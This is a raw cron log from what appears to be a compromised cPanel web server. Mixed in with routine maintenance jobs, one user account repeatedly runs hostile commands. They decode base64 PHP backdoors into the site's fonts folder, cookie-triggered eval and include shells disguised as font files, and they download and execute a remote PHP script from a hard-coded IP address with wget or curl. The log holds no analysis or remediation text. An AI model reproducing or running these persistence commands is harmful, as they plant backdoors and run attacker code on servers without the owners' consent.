Sep  9 09:49:01 ip-184-168-122-23 CROND[23997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:49:01 ip-184-168-122-23 CROND[23998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:49:01 ip-184-168-122-23 CROND[23999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24130]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:50:01 ip-184-168-122-23 CROND[24134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24138]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24140]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:50:01 ip-184-168-122-23 CROND[24141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:50:01 ip-184-168-122-23 CROND[24142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:51:01 ip-184-168-122-23 CROND[24276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:51:01 ip-184-168-122-23 CROND[24279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:51:01 ip-184-168-122-23 CROND[24278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:51:01 ip-184-168-122-23 CROND[24280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:52:01 ip-184-168-122-23 CROND[24485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:52:01 ip-184-168-122-23 CROND[24488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:52:01 ip-184-168-122-23 CROND[24487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:52:01 ip-184-168-122-23 CROND[24491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:52:01 ip-184-168-122-23 CROND[24490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:53:01 ip-184-168-122-23 CROND[24626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:53:01 ip-184-168-122-23 CROND[24628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:53:01 ip-184-168-122-23 CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:53:01 ip-184-168-122-23 CROND[24631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:54:01 ip-184-168-122-23 CROND[24747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:54:01 ip-184-168-122-23 CROND[24749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:54:01 ip-184-168-122-23 CROND[24751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:54:01 ip-184-168-122-23 CROND[24750]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:54:01 ip-184-168-122-23 CROND[24752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:55:01 ip-184-168-122-23 CROND[24868]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:55:01 ip-184-168-122-23 CROND[24872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:55:01 ip-184-168-122-23 CROND[24873]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:55:01 ip-184-168-122-23 CROND[24870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:55:01 ip-184-168-122-23 CROND[24874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:55:01 ip-184-168-122-23 CROND[24871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:56:01 ip-184-168-122-23 CROND[25013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:56:01 ip-184-168-122-23 CROND[25015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:56:01 ip-184-168-122-23 CROND[25016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:56:01 ip-184-168-122-23 CROND[25017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:56:01 ip-184-168-122-23 CROND[25019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:57:01 ip-184-168-122-23 CROND[25212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:57:01 ip-184-168-122-23 CROND[25211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:57:01 ip-184-168-122-23 CROND[25213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:57:01 ip-184-168-122-23 CROND[25214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:58:01 ip-184-168-122-23 CROND[25337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:58:01 ip-184-168-122-23 CROND[25338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 09:58:01 ip-184-168-122-23 CROND[25340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 09:58:01 ip-184-168-122-23 CROND[25343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:58:01 ip-184-168-122-23 CROND[25345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:59:01 ip-184-168-122-23 CROND[25446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 09:59:01 ip-184-168-122-23 CROND[25447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:59:01 ip-184-168-122-23 CROND[25450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:59:01 ip-184-168-122-23 CROND[25448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25558]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25562]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 10:00:01 ip-184-168-122-23 CROND[25566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:00:01 ip-184-168-122-23 CROND[25565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25574]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 10:00:01 ip-184-168-122-23 CROND[25575]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:01:01 ip-184-168-122-23 CROND[25692]: (root) CMD (run-parts /etc/cron.hourly)
